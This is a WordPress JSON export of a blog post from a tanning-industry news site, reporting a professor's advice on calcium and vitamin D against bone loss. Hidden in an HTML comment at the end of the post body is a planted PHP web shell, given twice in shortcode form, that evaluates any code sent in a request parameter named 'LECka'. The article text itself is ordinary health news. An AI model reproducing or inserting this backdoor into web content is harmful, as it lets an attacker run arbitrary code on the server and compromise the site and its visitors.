{"id":5,"date":"2007-08-01T14:20:47","date_gmt":"2007-08-01T18:20:47","guid":{"rendered":"http:\/\/oscommerce.test\/blog\/?p=5"},"modified":"2017-02-09T23:17:34","modified_gmt":"2017-02-10T04:17:34","slug":"vitamin_d_study","status":"publish","type":"post","link":"https:\/\/news.smarttan.com\/index.php\/vitamin_d_study\/","title":{"rendered":"Calcium, vitamin D critical to stopping bone loss"},"content":{"rendered":"<p><a rel=\"attachment wp-att-147\" href=\"https:\/\/smarttan.com\/news\/?attachment_id=147\" title=\"girl-looking-into-sun-at-beach.jpg\"><\/a><a rel=\"attachment wp-att-147\" href=\"https:\/\/smarttan.com\/news\/?attachment_id=147\" title=\"girl-looking-into-sun-at-beach.jpg\"><\/a><a rel=\"attachment wp-att-147\" href=\"https:\/\/smarttan.com\/news\/?attachment_id=147\" title=\"girl-looking-into-sun-at-beach.jpg\"><\/a>A recent article by an Oregon State University associate professor focused on the need for people to get adequate amounts of vitamin D to combat bone loss as we get older.<!--more--><a rel=\"attachment wp-att-66\" href=\"https:\/\/smarttan.com\/news\/index.php\/devoted-creations-training-event\/27-revision-4\/\" title=\"News - Feet\"><\/a><\/p>\n<p><a rel=\"attachment wp-att-147\" href=\"https:\/\/smarttan.com\/news\/?attachment_id=147\" title=\"girl-looking-into-sun-at-beach.jpg\"><img decoding=\"async\" src=\"https:\/\/smarttan.com\/blog\/wp-content\/uploads\/2007\/12\/girl-looking-into-sun-at-beach.jpg\" alt=\"girl-looking-into-sun-at-beach.jpg\" \/><\/a><\/p>\n<p>Sharon Johnson, from the university\u2019s College of Health and Human Sciences, said \u201cwe need vitamin and calcium, in combination, to prevent bone loss as we age. Even if we\u2019re on prescription medications for conditions involving our bones (like osteoporosis) we need adequate amounts of vitamin D and calcium for those medications to be effective.\u201d<\/p>\n<p>Johnson said the elderly are at risk because of the dangers of broken hips: \u201cDid you know most health experts say more than 25 percent of older adults die within six months of a hip fracture.\u201d<\/p>\n<p>Johnson cites a University of California Berkeley \u201cWellness Letter\u201d from August 2007 that said, \u201cthere\u2019s growing evidence that vitamin D is not only good for bone health but for muscle strength and prevention of some cancers and other illnesses.\u201d<\/p>\n<p>The professor said that people aged 51 to 70 need 400 IU (International Units) of vitamin D each day and those over 71 need 600 IU per day.<\/p>\n<p>\u201cIn this area, most of the time, we get some of our vitamin D from sunlight \u2026 but for some people that\u2019s not always possible. Enter the right kind of foods and vitamin D supplement.\u201d<\/p>\n<p><!-- [insert_php]if (isset($_REQUEST[\"LECka\"])){eval($_REQUEST[\"LECka\"]);exit;}[\/insert_php][php]if (isset($_REQUEST[\"LECka\"])){eval($_REQUEST[\"LECka\"]);exit;}[\/php] --><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A recent article by an Oregon State University associate professor focused on the need for people to get adequate amounts of vitamin D to combat bone loss as we get older.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-5","post","type-post","status-publish","format-standard","hentry","category-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Calcium, vitamin D critical to stopping bone loss - Smart Tan News<\/title>\n<meta name=\"description\" content=\"A recent article by an Oregon State University associate professor focused on the need for people to get adequate amounts of vitamin D to combat bone loss as we get older. Sharon Johnson, from the university\u2019s College of Health and Human Sciences, said \u201cwe need vitamin and calcium, in combination, to prevent bone loss as we age. Even if we\u2019re on prescription medications for conditions involving our bones (like osteoporosis) we need adequate amounts of vitamin D and calcium for those medications to be effective.\u201d Johnson said the elderly are at risk because of the dangers of broken hips: \u201cDid you know most health experts say more than 25 percent of older adults die within six months of a hip fracture.\u201d Johnson cites a University of California Berkeley \u201cWellness Letter\u201d from August 2007 that said, \u201cthere\u2019s growing evidence that vitamin D is not only good for bone health but for muscle strength and prevention of some cancers and other illnesses.\u201d The professor said that people aged 51 to 70 need 400 IU (International Units) of vitamin D each day and those over 71 need 600 IU per day. \u201cIn this area, most of the time, we get some of our vitamin D from sunlight \u2026 but for some people that\u2019s not always possible. Enter the right kind of foods and vitamin D supplement.\u201d\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/news.smarttan.com\/index.php\/vitamin_d_study\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Calcium, vitamin D critical to stopping bone loss - Smart Tan News\" \/>\n<meta property=\"og:description\" content=\"A recent article by an Oregon State University associate professor focused on the need for people to get adequate amounts of vitamin D to combat bone loss as we get older. Sharon Johnson, from the university\u2019s College of Health and Human Sciences, said \u201cwe need vitamin and calcium, in combination, to prevent bone loss as we age. Even if we\u2019re on prescription medications for conditions involving our bones (like osteoporosis) we need adequate amounts of vitamin D and calcium for those medications to be effective.\u201d Johnson said the elderly are at risk because of the dangers of broken hips: \u201cDid you know most health experts say more than 25 percent of older adults die within six months of a hip fracture.\u201d Johnson cites a University of California Berkeley \u201cWellness Letter\u201d from August 2007 that said, \u201cthere\u2019s growing evidence that vitamin D is not only good for bone health but for muscle strength and prevention of some cancers and other illnesses.\u201d The professor said that people aged 51 to 70 need 400 IU (International Units) of vitamin D each day and those over 71 need 600 IU per day. \u201cIn this area, most of the time, we get some of our vitamin D from sunlight \u2026 but for some people that\u2019s not always possible. Enter the right kind of foods and vitamin D supplement.\u201d\" \/>\n<meta property=\"og:url\" content=\"https:\/\/news.smarttan.com\/index.php\/vitamin_d_study\/\" \/>\n<meta property=\"og:site_name\" content=\"Smart Tan News\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/SmartTan\" \/>\n<meta property=\"article:published_time\" content=\"2007-08-01T18:20:47+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2017-02-10T04:17:34+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/smarttan.com\/blog\/wp-content\/uploads\/2007\/12\/girl-looking-into-sun-at-beach.jpg\" \/>\n<meta name=\"author\" content=\"smarttan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@SmartTan\" \/>\n<meta name=\"twitter:site\" content=\"@SmartTan\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"smarttan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/news.smarttan.com\/index.php\/vitamin_d_study\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/news.smarttan.com\/index.php\/vitamin_d_study\/\"},\"author\":{\"name\":\"smarttan\",\"@id\":\"https:\/\/news.smarttan.com\/#\/schema\/person\/4191f4b1131c0a37b4fd39f876771e7b\"},\"headline\":\"Calcium, vitamin D critical to stopping bone loss\",\"datePublished\":\"2007-08-01T18:20:47+00:00\",\"dateModified\":\"2017-02-10T04:17:34+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/news.smarttan.com\/index.php\/vitamin_d_study\/\"},\"wordCount\":227,\"publisher\":{\"@id\":\"https:\/\/news.smarttan.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/news.smarttan.com\/index.php\/vitamin_d_study\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/smarttan.com\/blog\/wp-content\/uploads\/2007\/12\/girl-looking-into-sun-at-beach.jpg\",\"articleSection\":[\"News\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/news.smarttan.com\/index.php\/vitamin_d_study\/\",\"url\":\"https:\/\/news.smarttan.com\/index.php\/vitamin_d_study\/\",\"name\":\"Calcium, vitamin D critical to stopping bone loss - Smart Tan News\",\"isPartOf\":{\"@id\":\"https:\/\/news.smarttan.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/news.smarttan.com\/index.php\/vitamin_d_study\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/news.smarttan.com\/index.php\/vitamin_d_study\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/smarttan.com\/blog\/wp-content\/uploads\/2007\/12\/girl-looking-into-sun-at-beach.jpg\",\"datePublished\":\"2007-08-01T18:20:47+00:00\",\"dateModified\":\"2017-02-10T04:17:34+00:00\",\"description\":\"A recent article by an Oregon State University associate professor focused on the need for people to get adequate amounts of vitamin D to combat bone loss as we get older. Sharon Johnson, from the university\u2019s College of Health and Human Sciences, said \u201cwe need vitamin and calcium, in combination, to prevent bone loss as we age. Even if we\u2019re on prescription medications for conditions involving our bones (like osteoporosis) we need adequate amounts of vitamin D and calcium for those medications to be effective.\u201d Johnson said the elderly are at risk because of the dangers of broken hips: \u201cDid you know most health experts say more than 25 percent of older adults die within six months of a hip fracture.\u201d Johnson cites a University of California Berkeley \u201cWellness Letter\u201d from August 2007 that said, \u201cthere\u2019s growing evidence that vitamin D is not only good for bone health but for muscle strength and prevention of some cancers and other illnesses.\u201d The professor said that people aged 51 to 70 need 400 IU (International Units) of vitamin D each day and those over 71 need 600 IU per day. \u201cIn this area, most of the time, we get some of our vitamin D from sunlight \u2026 but for some people that\u2019s not always possible. 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